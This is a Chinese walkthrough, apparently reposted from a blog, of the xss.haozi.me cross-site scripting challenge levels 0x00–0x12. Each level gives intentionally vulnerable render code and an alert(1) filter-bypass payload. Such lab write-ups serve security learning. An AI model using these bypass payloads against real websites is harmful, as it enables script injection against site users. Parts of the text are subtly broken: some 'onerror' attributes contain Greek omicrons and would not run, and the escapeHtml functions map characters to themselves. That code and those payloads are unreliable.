0x00
server code:
function render (input) {
return '<div>' + input + '</div>'
}
input code:
<script>alert(1)</script>
html:
<div><script>alert(1)</script></div>
0x01
server code:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
这一关插入的地方在html标签里面,所以要先闭合<textarea>
标签
input code:
</textarea><script>alert(1)</script>
html:
<textarea></textarea><script>alert(1)</script></textarea>
0x02
server code:
function render (input) {
return '<input type="name" value="' + input + '">'
}
input的地方在尖括号内部,需要先闭合尖括号
input code:
"><script>alert(1)</script>
html:
<input type="name" value=""><script>alert(1)</script>">
0x03
server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。
input code:
<script>alert`1`</script>
html:
<script>alert`1`</script>
0x04
server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号和反引号,所以上一关的方法就不能用了。
可以用各种编码进行绕过,如url编码、unicode编码…
-
<svg>
标签中可以直接执行实体字符,payload2
-
h5中
iframe
标签(iframe 元素会创建包含另外一个文档的内联框架)的srcdoc
属性,srcdoc
里的代码会作为iframe
中的内容显示出来,srcdoc
中可以直接去写转译后的html片段
input code & html:
<img src=# onerror=alert(1)>
<img src=1 οnerrοr=location="javascript:alert%281%29">
<svg><script>alert(1)</script>
<iframe srcdoc="<script>alert(1)</script>">
0x05
server code:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
这一关将html中的注释符-->
替换成了一个表情,并且输入的内容是包含在一段注释符里的。
html通常的的注释符为:<!-- -->
,测试发现<!- -!>
、<!-- --!>
同样可以进行注释,这里可利用--!>
来闭合。
input code:
--!><script>alert(1)</script>
--!><img src=# onerror=alert(1)>
html:
<!-- --!><script>alert(1)</script>
<!-- --!><img src=# οnerrοr=alert(1)> -->
0x06
server code:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${
input} type="text">`
}
过滤了以auto
、on
开头,=
结尾的标签属性,并用下划线_
进行替换,同时忽略大小写。
可以用换行使onxxx不和=连接,这样就可以避免被过滤。HTML DOM 事件
属性 | 描述 |
---|---|
onclick | 当用户点击某个对象时调用的事件句柄 |
onfocus | 元素获取焦点时触发 |
onmouseover | 鼠标移到某元素之上 |
input code:
onfocus
=alert(1) 需要鼠标点击框
onclick
=alert(1) 需要鼠标点击框
onmouseover
=alert(1) 需要鼠标放在框上
type=image src=# onerror
=alert(1) 直接弹
html:
<input value=1 onmouseover
=alert(1)
type="text">
或
<input value=1 type=image src=# onerror
=alert(1) type="text">
0x07
server code:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${
input}</article>`
}
正则匹配了以<
或</
开头,>
或/>
结尾的标签,并替换为空。
去掉最后面的>
利用浏览器容错性运行
input code:(第一个最后还有个空格或回车用来中断属性值)
<img src="x" οnerrοr=alert(1)
<img src=# οnerrοr="alert(1)"
html:
<article><img src="x" οnerrοr=alert(1) </article>
<article><img src=# οnerrοr="alert(1)"</article>
0x08
server code:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${
src}
</style>
`
}
过滤了</style>
标签,忽略大小写。
因为我们需要用到</style>
来闭合标签,所以可以通过空格进行绕过。
input code:
</style ><script>alert(1)</script>
html:
<style>
</style ><script>alert(1)</script>
</style>
0x09
server code:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${
input}"></script>`
}
return 'Invalid URL'
}
要求输入的值要以https://www.segmentfault.com
开头,否则返回Invalid URL
但是并没有限制结尾,所以闭合掉<script>
标签
input code:
https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>111</a>
http://www.segmentfault.com"></script><img src=# οnerrοr="alert(1)
html:
<script src="https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>111</a>"></script>
<script src="http://www.segmentfault.com"></script><img src=# onerror="alert(1)"></script>
0x0A
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${
escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
同样要求输入的值要以https://www.segmentfault.com
开头,但是过滤了& ' " < > /
,这个过滤。
前面给出的包含alert(1);的js文件就派上用场了。
input code:
https://www.segmentfault.com@xss.haozi.me/j.js
html:
<script src="https://www.segmentfault.com@xss.haozi.me/j.js"></script>
0x0B
server code:
function render (input) {
input = input.toUpperCase()
return `<h1>${
input}</h1>`
}
这里将输入值全部转换成了大写。
- html标签不区分;
- 域名不区分大小写
- js严格区分大小写。
因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…无语。
这里也可利用编码来进行绕过,对js代码进行编码处理, 而html部分不变
input code:
<img src="x" onerror=alert(1)>
html:
<h1><IMG SRC="X" ONERROR=alert(1)></h1>
0x0C
server code:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
将script替换为空,正则全局匹配且不区分大小写.
这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…
input code:
<img src="x" onerror=alert(1)>
html:
<h1><IMG SRC="X" ONERROR=alert(1)></h1>
0x0D
server code:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${
input}')
</script>
`
}
过滤了< / " '
,但input的地方前面有个//,这是js的单行注释符,可以通过换行来破坏,然后再用-->
将后面的')
注释掉。<!--
和-->
都可以在html的script
标签里单独使用进行单行注释.,这里<
被过滤了,所以使用-->
input code:
alert(1);
-->
html:
<script>
// alert('
alert(1);
-->')
</script>
0x0E
server code:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
匹配以<
起始的字符,替换为<_$1
,并且把输入转换为大写,这样这样的标签就都用不了了。
有一个ſ
字符,是古英语中s
的写法,ſ转换为大写后正好为
S,这样就可以绕过正则使用
input code:
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
html:
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>
0x0F
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${
escapeHtml(input)}')">`
}
过滤了& ' " < > /
,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。
console.error() 方法用于输出错误信息到控制台。
input code:
');alert('1
html:
<img src onerror="console.error('');alert('1')">
实际上就是
<img src onerror="console.error('');alert('1')">
0x10
server code:
function render (input) {
return `
<script>
window.data = ${
input}
</script>
`
}
由于input是在script标签里面,且没有任何过滤,所以直接用;闭合前面的语句,构造下一条语句即可。
input code:
1;alert(1)
html:
<script>
window.data = 1;alert(1)
</script>
0x11
server code:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${
s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
用反斜杠转义了一堆字符,但是"
被转义成\"
正好可以闭合console.log("\")
,既然闭合了前面的语句那么之后就构造后面的语句就行了。
console.log() 方法用于在控制台输出信息。
input code:
"),alert(1)("
html:
<script>
var url = 'javascript:console.log("\"),alert(1)(\"")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
0x12
server code:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
匹配"
替换为\"
,这里直接用\")
闭合前面的双引号会被转义,所以在加一个\
来转义\
即可。
input code:
\");alert(1);</script>
</script> <script>alert(1)</script><script>
html:
<script>console.log("\\");alert(1);</script>");</script>
<script>console.log("</script> <script>alert(1)</script><script>");</script>
转载:https://blog.csdn.net/weixin_50597969/article/details/115670633